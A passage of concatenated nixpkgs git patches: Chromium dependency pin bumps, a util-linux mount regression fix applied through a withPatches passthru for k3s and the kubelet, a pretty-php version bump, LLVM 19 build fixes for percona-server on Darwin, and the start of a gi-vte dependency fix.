+        "hash": "sha256-HBqkqEoyQo3KuRCwP5NW9kuY9maaBYSpjA1lcBdFjxk="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -1442,8 +1442,8 @@
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "4982425ff1bdcb2ce52a360edde58a379119bfde",
-        "hash": "sha256-QTGU9Dgc6rgMeFZvhZyYeYj5W+ClJO8Yfa4+K7TmEec="
+        "rev": "7905fa19e456df5aa8e2233a7ec5832c9c6c287b",
+        "hash": "sha256-Wi8mttxM1fuLqrL2q6qPnpmyAfmDqJGA8Wub+yexFLA="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -1452,18 +1452,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "c8ed430d092acd485f00e7a9d7a888a0857d0430",
-        "hash": "sha256-S5zkpQZdhRdnZRUrUfi5FCrF2XFe3y/adAWwfh1OQYE="
+        "rev": "42d6877b1aa1cf324eb03ccf9b13511400341deb",
+        "hash": "sha256-KummGT7CUoGd3lCGXvtSFcFD1FhSlJXDcEi1WKUza70="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "1648e664337ca19a4f8679cbb9547a5b4b926995",
-        "hash": "sha256-CI0X6zbRV/snGcQZOUKQFn8Zo6D6Out6nN027HGZaa8="
+        "rev": "96793fb0ff6fb5d4328cc6f71d84f5cb2d835daf",
+        "hash": "sha256-rAtsw8JV8EwrNzjK5p7JbWQa6fHfpByvZcP71hHC8uM="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "e57f993cff981c8c3ffd38967e030f04d13781a9",
-        "hash": "sha256-nr7pGPNPMbmL/XnL27M4m5in8qnCDcpNtVsxBAc7zms="
+        "rev": "fc9889c889561c5882e83819dcaffef5ed45529b",
+        "hash": "sha256-HwFP4KJuA+BMQVvBWV0BCRj9U5I3CLEU+5bBtde2f6w="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -1472,38 +1472,38 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "8c88e0c4c94a21de825efccba5f99a862b049825",
-        "hash": "sha256-s0Pe7kg5syKhK8qEZH8b7UCDa87Xk32Lh95cQbpLdAc="
+        "rev": "bab63ff679c41eb75fc67dac76e1dc44426101e1",
+        "hash": "sha256-hi4vCwdCnwuYodUYq75niCZt2t9lERQH6529/R+7nH8="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "2e83ad7e6f2cc51f7eaff3ffeb10e34351b3c157",
-        "hash": "sha256-u4WDbWywua71yWB1cVIt1IDZRe4NnT5bUq3yHLKBgPo="
+        "rev": "8e9165a3d162967a424dcf2ff645a98b50381cce",
+        "hash": "sha256-GsoaeO3FMzMtMStg1Wp0KUHU3Xxmmr7t3lDyu0ervNk="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "78c359741d855213e8685278eb81bb62599f8e56",
-        "hash": "sha256-VqKQeJd81feSgYnYLqb2sYirCmnHN9Rr19/4cPZ2TzE="
+        "rev": "e2e53a724677f6eba8ff0ce1ccb64ee321785cbd",
+        "hash": "sha256-lIuJ50zi9UIMrP/FePI8jHFhJ5LsKhthDY4gIHeZNpo="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "723d6b4aa35853315c6e021ec86388b3a2559fae",
-        "hash": "sha256-tDW5ed6gsDKlCKf4gT8MNi1yaafocUTohL1upGKB+Cc="
+        "rev": "fb78607414e154c7a5c01b23177ba719c8a44909",
+        "hash": "sha256-CeIjyW90Ri0MvhyFfYgss5Rjh5fHKhQf7CgBEcB/nPk="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "289efccc7560f2b970e2b4e0f50349da87669311",
-        "hash": "sha256-Cw7LWBPRbDVlfmeMM4CYEC9xbfqT1wV7yuUcpGMLahs="
+        "rev": "0b8196724e4ad28cc7459b82a9b75f252c08cb3e",
+        "hash": "sha256-oL4lyUH26eO6eJy7EQmuXdt4oy3eQ65fribfMSOZV+8="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "0d5b49b80f17bca25e7f9321ad4e671a56f70887",
-        "hash": "sha256-NdvjtdCrNVKY23B4YDL33KB+/9HsSWTVolZJOto8+pc="
+        "rev": "4e246c56ec5afb5ad66b9b04374d39ac04675c8e",
+        "hash": "sha256-MmC4UVa9P/0h7r8IBp1LhP9EztwyZv/ASWKKj8Gk1T8="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "73d7d74bc979c8a16c823c4eae4ee881153e000a",
-        "hash": "sha256-2GII+RBRzPZTTib82srUEFDG+CbtPTZ6lX3oDJBC2gU="
+        "rev": "cea6ec1cdd37494c1f0fc5619c6c356ac33372fb",
+        "hash": "sha256-iXQZ6Qpe0li+QeThxMUCn45OufZ8W/qJcejpMb4/gWc="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
@@ -1512,8 +1512,8 @@
       },
       "src/third_party/wasm_tts_engine/src": {
         "url": "https://chromium.googlesource.com/chromium/wasm-tts-engine",
-        "rev": "53d2aba6f0cf7db57e17edfc3ff6471871b0c125",
-        "hash": "sha256-t5eeehwspRLaowEMPLa8/lV5AHamXQBfH/un0DHLVAM="
+        "rev": "352880bb49e2410707543c252ef6b94a21b0f47f",
+        "hash": "sha256-TFkniS4XvP0RlPnI1lv4RxxSY44RUuwCMKmmybENEBw="
       },
       "src/third_party/wayland/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland.git",
@@ -1547,8 +1547,8 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "92f4eb4dae0f5439f2cdc7ce467d66b10e165f42",
-        "hash": "sha256-vXyp0+6eyKOzzQbkRa8f8dO+B9cyUCY2hCZEFc7+7lU="
+        "rev": "168536ad91bff176bbe31ae692d97f8bfe9fb86d",
+        "hash": "sha256-HB16HM4Gj+2F26tyN393VmHbGxvKOZ+M949059odN/4="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
@@ -1557,8 +1557,8 @@
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "2c8f5be6924d507ee74191b1aeadcec07f747f21",
-        "hash": "sha256-cNONf88oSbsdYuSdPiLxgTI973qOP6fb1OKb2WMQMMg="
+        "rev": "cec4daea7ed5da94fc38d790bd12694c86865447",
+        "hash": "sha256-mxRckkiBIpQp2Qxj6fcer3jDftp3wlg+aO4BoUHhyiY="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -1567,8 +1567,8 @@
       },
       "src/third_party/weston/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/weston.git",
-        "rev": "ccf29cb237c3ed09c5f370f35239c93d07abfdd7",
-        "hash": "sha256-y2srFaPUOoB2umzpo4+hFfhNlqXM2AoMGOpUy/ZSacg="
+        "rev": "4eb10b123b483327214d8da5da67e8bbeeaed8fe",
+        "hash": "sha256-VNHUAtfTB24SIf2kl+MMXF3rG5cJOPM93WU/sVSIQ1A="
       },
       "src/third_party/xdg-utils": {
         "url": "https://chromium.googlesource.com/chromium/deps/xdg-utils.git",
@@ -1577,18 +1577,18 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "d6fc3be20b0d3e3742157fa26c5359babaa8bc8b",
-        "hash": "sha256-p5DjGNH9IR0KPWSFmbsdt2PU+kHgWRAnBw7J9sLV/S8="
+        "rev": "474d7e58d4b8f4bd1a98ee74bc57858769f7d925",
+        "hash": "sha256-UO+nOh7R+3xTSxF2u8dIrv7qn/QmhnDr2J5Ciumj93M="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
-        "rev": "ef2bf5781112a4cd6b62ac1817f7842bbdc7ea8f",
-        "hash": "sha256-hDDNrUXGxG/o1oZnypAnuLyIeM16Hy6x1KacGu9Hhmw="
+        "rev": "d654fca78690fa15cceb8058ac47454d914a0e63",
+        "hash": "sha256-Ginvak0y1CjURT3mQZzdLn3MW9vXxC7T0KLsM6SHDV0="
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "5297e56d91816747d539abca52b578e5832135f0",
-        "hash": "sha256-Fi4pl6xSXkHF4XaQNfNzULVjQZSzDfaHFIyIxH103go="
+        "rev": "44fdd9108308773dd3f4fa040de5f4f75edf671f",
+        "hash": "sha256-BkLOmb97p2NcAIuQiDjIoVAe49h9iv79rC5G8wyD1as="
       }
     }
   }

From 34890fdc458d6d7c2416c36db06c7cfb1eeae65a Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 21 May 2025 01:27:34 -0700
Subject: [PATCH 0203/4511] util-linux: hack: add withPatches passthru

TODO (#409339): Remove this hack. We had to add it to avoid a mass rebuild
for the 25.05 release to fix Kubernetes. Once the staging cycle referenced
in the above PR completes, this passthru and all consumers of it should go away.

(cherry picked from commit 99e6554fea1a1d6210a3221b2c8fee32d6a838fe)
---
 .../ut/util-linux/fix-mount-regression.patch  | 39 +++++++++++++++++++
 pkgs/by-name/ut/util-linux/package.nix        | 16 +++++++-
 2 files changed, 53 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/by-name/ut/util-linux/fix-mount-regression.patch

diff --git a/pkgs/by-name/ut/util-linux/fix-mount-regression.patch b/pkgs/by-name/ut/util-linux/fix-mount-regression.patch
new file mode 100644
index 000000000000..973ba7493e7d
--- /dev/null
+++ b/pkgs/by-name/ut/util-linux/fix-mount-regression.patch
@@ -0,0 +1,39 @@
+From 7dbfe31a83f45d5aef2b508697e9511c569ffbc8 Mon Sep 17 00:00:00 2001
+From: Karel Zak <kzak@redhat.com>
+Date: Mon, 24 Mar 2025 14:31:05 +0100
+Subject: [PATCH] libmount: fix --no-canonicalize regression
+
+Fixes: https://github.com/util-linux/util-linux/issues/3474
+Signed-off-by: Karel Zak <kzak@redhat.com>
+---
+ libmount/src/context.c | 3 ---
+ sys-utils/mount.8.adoc | 2 +-
+ 2 files changed, 1 insertion(+), 4 deletions(-)
+
+diff --git a/libmount/src/context.c b/libmount/src/context.c
+index 0323cb23d34..15a8ad3bbd0 100644
+--- a/libmount/src/context.c
++++ b/libmount/src/context.c
+@@ -530,9 +530,6 @@ int mnt_context_is_xnocanonicalize(
+ 	assert(cxt);
+ 	assert(type);
+ 
+-	if (mnt_context_is_nocanonicalize(cxt))
+-		return 1;
+-
+ 	ol = mnt_context_get_optlist(cxt);
+ 	if (!ol)
+ 		return 0;
+diff --git a/sys-utils/mount.8.adoc b/sys-utils/mount.8.adoc
+index 4f23f8d1f0e..5103b91c578 100644
+--- a/sys-utils/mount.8.adoc
++++ b/sys-utils/mount.8.adoc
+@@ -756,7 +756,7 @@ Allow to make a target directory (mountpoint) if it does not exist yet. The opti
+ *X-mount.nocanonicalize*[**=**_type_]::
+ Allows disabling of canonicalization for mount source and target paths. By default, the `mount` command resolves all paths to their absolute paths without symlinks. However, this behavior may not be desired in certain situations, such as when binding a mount over a symlink, or a symlink over a directory or another symlink. The optional argument _type_ can be either "source" or "target" (mountpoint). If no _type_ is specified, then canonicalization is disabled for both types. This mount option does not affect the conversion of source tags (e.g. LABEL= or UUID=) and fstab processing.
+ +
+-The command line option *--no-canonicalize* overrides this mount option and affects all path and tag conversions in all situations, but it does not modify flags for open_tree syscalls.
++The command-line option *--no-canonicalize* overrides this mount option and affects all path and tag conversions in all situations, but for backward compatibility, it does not modify open_tree syscall flags and does not allow the bind-mount over a symlink use case.
+ +
+ Note that *mount*(8) still sanitizes and canonicalizes the source and target paths specified on the command line by non-root users, regardless of the X-mount.nocanonicalize setting.
+ 
diff --git a/pkgs/by-name/ut/util-linux/package.nix b/pkgs/by-name/ut/util-linux/package.nix
index eef5a90698c7..66b24424b7ef 100644
--- a/pkgs/by-name/ut/util-linux/package.nix
+++ b/pkgs/by-name/ut/util-linux/package.nix
@@ -34,7 +34,7 @@
 let
   isMinimal = cryptsetupSupport == false && !nlsSupport && !ncursesSupport && !systemdSupport;
 in
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalPackage: rec {
   pname = "util-linux" + lib.optionalString isMinimal "-minimal";
   version = "2.41";
 
@@ -200,6 +200,18 @@ stdenv.mkDerivation rec {
     '';
 
   passthru = {
+    # TODO (#409339): Remove this hack. We had to add it to avoid a mass rebuild
+    # for the 25.05 release to fix Kubernetes. Once the staging cycle referenced
+    # in the above PR completes, this passthru and all consumers of it should go away.
+    withPatches = finalPackage.overrideAttrs (prev: {
+      patches = lib.unique (
+        prev.patches or [ ]
+        ++ [
+          ./fix-mount-regression.patch
+        ]
+      );
+    });
+
     updateScript = gitUpdater {
       # No nicer place to find latest release.
       url = "https://git.kernel.org/pub/scm/utils/util-linux/util-linux.git";
@@ -237,4 +249,4 @@ stdenv.mkDerivation rec {
     ];
     priority = 6; # lower priority than coreutils ("kill") and shadow ("login" etc.) packages
   };
-}
+})

From 59beefd7b1a4b54342f3b2ed4dfd18ab52792136 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 21 May 2025 01:29:05 -0700
Subject: [PATCH 0204/4511] k3s: use util-linuxMinimal.withPatches

(cherry picked from commit 0902abb6a77910b900f43b02a6b8b14e90473c76)
---
 .../networking/cluster/k3s/builder.nix             | 14 ++++----------
 1 file changed, 4 insertions(+), 10 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/builder.nix b/pkgs/applications/networking/cluster/k3s/builder.nix
index 8cbb824230f0..e2662f989452 100644
--- a/pkgs/applications/networking/cluster/k3s/builder.nix
+++ b/pkgs/applications/networking/cluster/k3s/builder.nix
@@ -333,16 +333,10 @@ let
     }).overrideAttrs
       overrideContainerdAttrs;
 
-  # TODO (#405952): remove this patch. We had to add it to avoid a mass rebuild
-  # for the 25.05 release. Once the above PR is merged, switch back to plain util-linuxMinimal.
-  k3sUtilLinux = util-linuxMinimal.overrideAttrs (prev: {
-    patches =
-      prev.patches or [ ]
-      ++ lib.singleton (fetchpatch {
-        url = "https://github.com/util-linux/util-linux/commit/7dbfe31a83f45d5aef2b508697e9511c569ffbc8.patch";
-        hash = "sha256-bJqpZiPli5Pm/XpDA445Ab5jesXrlcnaO6e4V0B3rSw=";
-      });
-  });
+  # TODO (#409339): remove this patch. We had to add it to avoid a mass rebuild
+  # for the 25.05 release. Once the staging cycle referenced in the above PR completes,
+  # switch back to plain util-linuxMinimal.
+  k3sUtilLinux = util-linuxMinimal.withPatches;
 in
 buildGoModule rec {
   pname = "k3s";

From 2870d0deb61278daf988dc23edf08895391c959a Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 21 May 2025 01:29:32 -0700
Subject: [PATCH 0205/4511] nixos/kubernetes: use util-linux.withPatches

(cherry picked from commit e14de8583028cbf4ad1619f9ec4e342ce29eb572)
---
 nixos/modules/services/cluster/kubernetes/kubelet.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/cluster/kubernetes/kubelet.nix b/nixos/modules/services/cluster/kubernetes/kubelet.nix
index aa759e20f49f..ca7b524081f6 100644
--- a/nixos/modules/services/cluster/kubernetes/kubelet.nix
+++ b/nixos/modules/services/cluster/kubernetes/kubelet.nix
@@ -336,7 +336,10 @@ in
           [
             gitMinimal
             openssh
-            util-linux
+            # TODO (#409339): remove this patch. We had to add it to avoid a mass rebuild
+            # for the 25.05 release. Once the staging cycle referenced in the above PR completes,
+            # switch back to plain util-linux.
+            util-linux.withPatches
             iproute2
             ethtool
             thin-provisioning-tools

From 14469db84570b66d7e1b9dbabb5cb0fbabfa5e79 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 00:18:35 +0000
Subject: [PATCH 0206/4511] pretty-php: 0.4.93 -> 0.4.94

(cherry picked from commit e9a3e84e7d86e19dd27386f7f6155c9858da5cc3)
---
 pkgs/by-name/pr/pretty-php/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pr/pretty-php/package.nix b/pkgs/by-name/pr/pretty-php/package.nix
index 97efb357c8bb..ab9e61be897d 100644
--- a/pkgs/by-name/pr/pretty-php/package.nix
+++ b/pkgs/by-name/pr/pretty-php/package.nix
@@ -6,16 +6,16 @@
 }:
 php.buildComposerProject2 (finalAttrs: {
   pname = "pretty-php";
-  version = "0.4.93";
+  version = "0.4.94";
 
   src = fetchFromGitHub {
     owner = "lkrms";
     repo = "pretty-php";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5gFTL4hcnEMKrffMpLRfneq5zeMHH50fjpvZcnefJZ8=";
+    hash = "sha256-zBhxuEViLxeQ9m3u1L0wYqeL+YEWWwvJS7PtsFPO5QU=";
   };
 
-  vendorHash = "sha256-cp6WPlEc3WCW19UqLgrqMv8zE9UrCiTuN+WqTpAsuWE=";
+  vendorHash = "sha256-vnmp/HLzaOzHu22lzugRXIHL43YQ/hm223gcUbIiLT4=";
 
   passthru = {
     tests.version = testers.testVersion {

From ef179737a040995ee0058954e42789f51c383618 Mon Sep 17 00:00:00 2001
From: Josh Heinrichs <josh.heinrichs@shopify.com>
Date: Wed, 23 Apr 2025 16:47:30 -0600
Subject: [PATCH 0207/4511] percona-server_8_0: fix compiling on darwin

Currently percona-server_8_0 fails to compile on Darwin for a few
reasons. First it hits an error due to adding multiple copies of
OpenSSL[1] which Homebrew has fixed and attempted to upstream[2][3].
After addressing that, it fails to compile due to the removal of
std::char_traits<uchar> in LLVM 19. This has already been patched in
mysql80[4], but I couldn't find a precedent for grabbing patches from
another package, so I opted to adapt the patch instead. The
Percona-specific changes are minimal and could be extracted into a
separate patch if that's desirable.

[1] https://perconadev.atlassian.net/jira/software/c/projects/PS/issues/PS-9641
[2] https://github.com/percona/percona-server/pull/5537
[3] https://github.com/Homebrew/homebrew-core/pull/204799
[4] https://github.com/NixOS/nixpkgs/pull/374591

(cherry picked from commit 321d3dbbbdd5544060453e89dd222c7e6527862e)
---
 pkgs/servers/sql/percona-server/8_0.nix       |  10 +
 .../sql/percona-server/libcpp-fixes.patch     | 207 ++++++++++++++++++
 2 files changed, 217 insertions(+)
 create mode 100644 pkgs/servers/sql/percona-server/libcpp-fixes.patch

diff --git a/pkgs/servers/sql/percona-server/8_0.nix b/pkgs/servers/sql/percona-server/8_0.nix
index 626dca351a70..7a7efd9dbb31 100644
--- a/pkgs/servers/sql/percona-server/8_0.nix
+++ b/pkgs/servers/sql/percona-server/8_0.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchurl,
+  fetchpatch,
   gitUpdater,
   bison,
   cmake,
@@ -61,6 +62,15 @@ stdenv.mkDerivation (finalAttrs: {
   ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
 
   patches = [
+    # adapted from mysql80's llvm 19 fixes
+    ./libcpp-fixes.patch
+    # fixes using -DWITH_SSL=system with CMAKE_PREFIX_PATH on darwin
+    # https://github.com/Homebrew/homebrew-core/pull/204799
+    (fetchpatch {
+      name = "fix-system-ssl-darwin.patch";
+      url = "https://github.com/percona/percona-server/pull/5537/commits/a693e5d67abf6f27f5284c86361604babec529c6.patch";
+      hash = "sha256-fFBy3AYTMLvHvbsh0g0UvuPkmVMKZzxPsxeBKbsN8Ho=";
+    })
     ./no-force-outline-atomics.patch # Do not force compilers to turn on -moutline-atomics switch
     ./coredumper-explicitly-import-unistd.patch # fix build on aarch64-linux
   ];
diff --git a/pkgs/servers/sql/percona-server/libcpp-fixes.patch b/pkgs/servers/sql/percona-server/libcpp-fixes.patch
new file mode 100644
index 000000000000..7e8de096415e
--- /dev/null
+++ b/pkgs/servers/sql/percona-server/libcpp-fixes.patch
@@ -0,0 +1,207 @@
+diff --git a/include/my_char_traits.h b/include/my_char_traits.h
+new file mode 100644
+index 00000000000..6336bc039c8
+--- /dev/null
++++ b/include/my_char_traits.h
+@@ -0,0 +1,65 @@
++/* Copyright (c) 2024, Oracle and/or its affiliates.
++
++   This program is free software; you can redistribute it and/or modify
++   it under the terms of the GNU General Public License, version 2.0,
++   as published by the Free Software Foundation.
++
++   This program is designed to work with certain software (including
++   but not limited to OpenSSL) that is licensed under separate terms,
++   as designated in a particular file or component or in included license
++   documentation.  The authors of MySQL hereby grant you an additional
++   permission to link the program and your derivative works with the
++   separately licensed software that they have either included with
++   the program or referenced in the documentation.
++
++   This program is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++   GNU General Public License, version 2.0, for more details.
++
++   You should have received a copy of the GNU General Public License
++   along with this program; if not, write to the Free Software
++   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301  USA */
++
++#ifndef MY_CHAR_TRAITS_INCLUDED
++#define MY_CHAR_TRAITS_INCLUDED
++
++#include <cstring>
++
++template <class CharT>
++struct my_char_traits;
++
++/*
++  This is a standards-compliant, drop-in replacement for
++    std::char_traits<unsigned char>
++  We need this because clang libc++ is removing support for it in clang 19.
++  It is not a complete implementation. Rather we implement just enough to
++  compile any usage of char_traits<uchar> we have in our codebase.
++ */
++template <>
++struct my_char_traits<unsigned char> {
++  using char_type = unsigned char;
++  using int_type = unsigned int;
++
++  static void assign(char_type &c1, const char_type &c2) { c1 = c2; }
++
++  static char_type *assign(char_type *s, std::size_t n, char_type a) {
++    return static_cast<char_type *>(memset(s, a, n));
++  }
++
++  static int compare(const char_type *s1, const char_type *s2, std::size_t n) {
++    return memcmp(s1, s2, n);
++  }
++
++  static char_type *move(char_type *s1, const char_type *s2, std::size_t n) {
++    if (n == 0) return s1;
++    return static_cast<char_type *>(memmove(s1, s2, n));
++  }
++
++  static char_type *copy(char_type *s1, const char_type *s2, std::size_t n) {
++    if (n == 0) return s1;
++    return static_cast<char_type *>(memcpy(s1, s2, n));
++  }
++};
++
++#endif  // MY_CHAR_TRAITS_INCLUDED
+diff --git a/sql/mdl_context_backup.h b/sql/mdl_context_backup.h
+index 89e7e23df34..cf9c307ec2d 100644
+--- a/sql/mdl_context_backup.h
++++ b/sql/mdl_context_backup.h
+@@ -28,6 +28,7 @@
+ #include <map>
+ #include <memory>
+ 
++#include "my_char_traits.h"
+ #include "sql/malloc_allocator.h"
+ #include "sql/mdl.h"
+ 
+@@ -47,7 +48,8 @@ class MDL_context_backup_manager {
+   /**
+     Key for uniquely identifying MDL_context in the MDL_context_backup map.
+   */
+-  typedef std::basic_string<uchar> MDL_context_backup_key;
++  using MDL_context_backup_key =
++      std::basic_string<uchar, my_char_traits<uchar>>;
+ 
+   class MDL_context_backup;
+ 
+diff --git a/sql/range_optimizer/index_range_scan_plan.cc b/sql/range_optimizer/index_range_scan_plan.cc
+index 74fbb100397..8ed1f50da33 100644
+--- a/sql/range_optimizer/index_range_scan_plan.cc
++++ b/sql/range_optimizer/index_range_scan_plan.cc
+@@ -54,6 +54,8 @@
+ #include "sql/thr_malloc.h"
+ #include "sql_string.h"
+ 
++#include "my_char_traits.h"
++
+ using opt_range::null_element;
+ using std::max;
+ using std::min;
+@@ -1025,8 +1027,8 @@ static bool null_part_in_key(KEY_PART *key_part, const uchar *key,
+ 
+ // TODO(sgunders): This becomes a bit simpler with C++20's string_view
+ // constructors.
+-static inline std::basic_string_view<uchar> make_string_view(const uchar *start,
+-                                                             const uchar *end) {
++static inline std::basic_string_view<uchar, my_char_traits<uchar>>
++make_string_view(const uchar *start, const uchar *end) {
+   return {start, static_cast<size_t>(end - start)};
+ }
+ 
+diff --git a/sql/stream_cipher.h b/sql/stream_cipher.h
+index 606d40645c6..358fbb41959 100644
+--- a/sql/stream_cipher.h
++++ b/sql/stream_cipher.h
+@@ -28,6 +28,8 @@
+ #include <memory>
+ #include <string>
+ 
++#include "my_char_traits.h"
++
+ /**
+   @file stream_cipher.h
+ 
+@@ -35,7 +37,8 @@
+          binary log files.
+ */
+ 
+-typedef std::basic_string<unsigned char> Key_string;
++using Key_string =
++    std::basic_string<unsigned char, my_char_traits<unsigned char>>;
+ 
+ /**
+   @class Stream_cipher
+diff --git a/unittest/gunit/binlogevents/transaction_compression-t.cc b/unittest/gunit/binlogevents/transaction_compression-t.cc
+index ba13f979aa3..01af0e3a360 100644
+--- a/unittest/gunit/binlogevents/transaction_compression-t.cc
++++ b/unittest/gunit/binlogevents/transaction_compression-t.cc
+@@ -23,6 +23,7 @@
+ */
+ 
+ #include <array>
++#include <string>
+ 
+ #include <gtest/gtest.h>
+ #include "libbinlogevents/include/binary_log.h"
+@@ -51,14 +52,13 @@ class TransactionPayloadCompressionTest : public ::testing::Test {
+   using Managed_buffer_t = Decompressor_t::Managed_buffer_t;
+   using Size_t = Decompressor_t::Size_t;
+   using Char_t = Decompressor_t::Char_t;
+-  using String_t = std::basic_string<Char_t>;
+   using Decompress_status_t =
+       binary_log::transaction::compression::Decompress_status;
+   using Compress_status_t =
+       binary_log::transaction::compression::Compress_status;
+ 
+-  static String_t constant_data(Size_t size) {
+-    return String_t(size, (Char_t)'a');
++  static std::string constant_data(Size_t size) {
++    return std::string(size, (Char_t)'a');
+   }
+ 
+  protected:
+@@ -69,7 +69,7 @@ class TransactionPayloadCompressionTest : public ::testing::Test {
+   void TearDown() override {}
+ 
+   static void compression_idempotency_test(Compressor_t &c, Decompressor_t &d,
+-                                           String_t data) {
++                                           const std::string &data) {
+     auto debug_string = concat(
+         binary_log::transaction::compression::type_to_string(c.get_type_code()),
+         " ", data.size());
+@@ -104,8 +104,8 @@ class TransactionPayloadCompressionTest : public ::testing::Test {
+ 
+     // Check decompressed data
+     ASSERT_EQ(managed_buffer.read_part().size(), data.size()) << debug_string;
+-    ASSERT_EQ(data, String_t(managed_buffer.read_part().begin(),
+-                             managed_buffer.read_part().end()))
++    ASSERT_EQ(data, std::string(managed_buffer.read_part().begin(),
++                                managed_buffer.read_part().end()))
+         << debug_string;
+ 
+     // Check that we reached EOF
+@@ -118,7 +118,7 @@ TEST_F(TransactionPayloadCompressionTest, CompressDecompressZstdTest) {
+   for (auto size : buffer_sizes) {
+     binary_log::transaction::compression::Zstd_dec d;
+     binary_log::transaction::compression::Zstd_comp c;
+-    String_t data{TransactionPayloadCompressionTest::constant_data(size)};
++    std::string data{TransactionPayloadCompressionTest::constant_data(size)};
+     TransactionPayloadCompressionTest::compression_idempotency_test(c, d, data);
+     c.set_compression_level(22);
+     TransactionPayloadCompressionTest::compression_idempotency_test(c, d, data);
+@@ -129,7 +129,7 @@ TEST_F(TransactionPayloadCompressionTest, CompressDecompressNoneTest) {
+   for (auto size : buffer_sizes) {
+     binary_log::transaction::compression::None_dec d;
+     binary_log::transaction::compression::None_comp c;
+-    String_t data{TransactionPayloadCompressionTest::constant_data(size)};
++    std::string data{TransactionPayloadCompressionTest::constant_data(size)};
+     TransactionPayloadCompressionTest::compression_idempotency_test(c, d, data);
+   }
+ }

From a8672039b8134611102f22e8ae6050e407672949 Mon Sep 17 00:00:00 2001
From: Atemu <git@atemu.net>
Date: Sun, 18 May 2025 14:33:20 +0200
Subject: [PATCH 0208/4511] haskellPackages.gi-vte: add missing depencency on
 gdkpixbuf

(cherry picked from commit bbc93efe71755908e0f0d1c74b2f9bd93ea4ada2)
---
 .../haskell-modules/configuration-common.nix  | 20 +++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 71d4d6db916e..f5553ae9ee3f 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -2088,6 +2088,26 @@ self: super:
   gi-gtk_4 = self.gi-gtk_4_0_12;
   gi-gdk_4 = self.gi-gdk_4_0_10;
 
+  # Missing dependency on gi-gdkpixbuf
+  # https://github.com/haskell-gi/haskell-gi/commit/889f478456b38425eca7df42b01f85fae626f113
+  # Fixed in 2.91.35
+  gi-vte = overrideCabal (
+    oldAttrs:
+    assert lib.versionOlder oldAttrs.version "2.91.35";
+    {
+      # This is implemented as a sed expression instead of pulling a patch
+      # from upstream because the gi-vte repo doesn't actually contain a
+      # gi-vte.cabal file. The gi-vte.cabal file is generated from metadata in
+      # the repo.
+      postPatch =
+        (oldAttrs.postPatch or "")
+        + ''
